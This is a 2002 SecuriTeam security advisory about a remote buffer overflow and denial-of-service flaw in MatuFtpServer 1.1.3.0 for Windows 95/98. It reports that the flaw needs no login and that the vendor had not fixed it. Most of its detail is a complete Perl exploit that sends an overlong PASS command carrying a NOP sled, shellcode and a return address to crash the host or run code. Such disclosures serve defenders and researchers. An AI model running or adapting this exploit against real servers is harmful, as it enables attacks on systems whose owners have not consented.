[NT] MatuFtpServer Remote Buffer Overflow and DoS

From: support@securiteam.com
Date: 05/22/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 22 May 2002 21:51:59 +0200 (CEST)

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  MatuFtpServer Remote Buffer Overflow and DoS
------------------------------------------------------------------------

SUMMARY

 <http://www.matusoft.com/matuftpserver/> MatuFtpServer is Japanese FTP
server software for Windows95/98. A security vulnerability in the product
allows attackers to overflow an internal buffer causing the program to
execute arbitrary code.

DETAILS

Vulnerable systems:
 * MatuFtpServer version 1.1.3.0(1.13)

A security vulnerability in MatuFtpServer allows attackers overflow an
internal buffer in the program causing it to execute arbitrary code.

Example:
PASS AAAAAAAAAAAAA....AAAAAAAAAAAAAAAAAA<CR><LF>

Note that there is no need to send "USER" command. So a valid user or
anonymous user account is not needed to execute this attack.

Vendor Status:
Notified at 16 Apr 2002. Not fixed yet.

Exploit:
This exploit code will shutdown target host.

#!/usr/local/bin/perl

#-----------------------------------------------
# MatuFtpServer 1.1.3.0 exploit (for Windows98)
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#-----------------------------------------------

use Socket;

$connect_host = "target.example.com";
$port = 21;
$iaddr = inet_aton( $connect_host ) || die "Host Resolve Error.\n";
$sock_addr = pack_sockaddr_in( $port, $iaddr );
socket( SOCKET, PF_INET, SOCK_STREAM, 0 ) || die "Socket Error.\n";
connect( SOCKET, $sock_addr ) || die "Connect Error\n";
select( SOCKET ); $|=1; select( STDOUT );

    #egg written by UNYUN (http://www.shadowpenguin.org/)
    #16bytes
$egg = "\x43\x43\x43\x43\x43\x53\x53\x53";
$egg .= "\xB8\x2D\x23\xF5\xBF\x48\x50\xC3";

    #0x0177F984
$buf = "\x90" x 1032;
$buf .= $egg;
$buf .= "\x8C\xF9\x77\x01";
$buf .= "A" x 696;

print SOCKET "PASS $buf\r\n";
$hoge = <SOCKET>; print $hoge;

ADDITIONAL INFORMATION

The information has been provided by <mailto:anvil@jumperz.net> Kanatoko.

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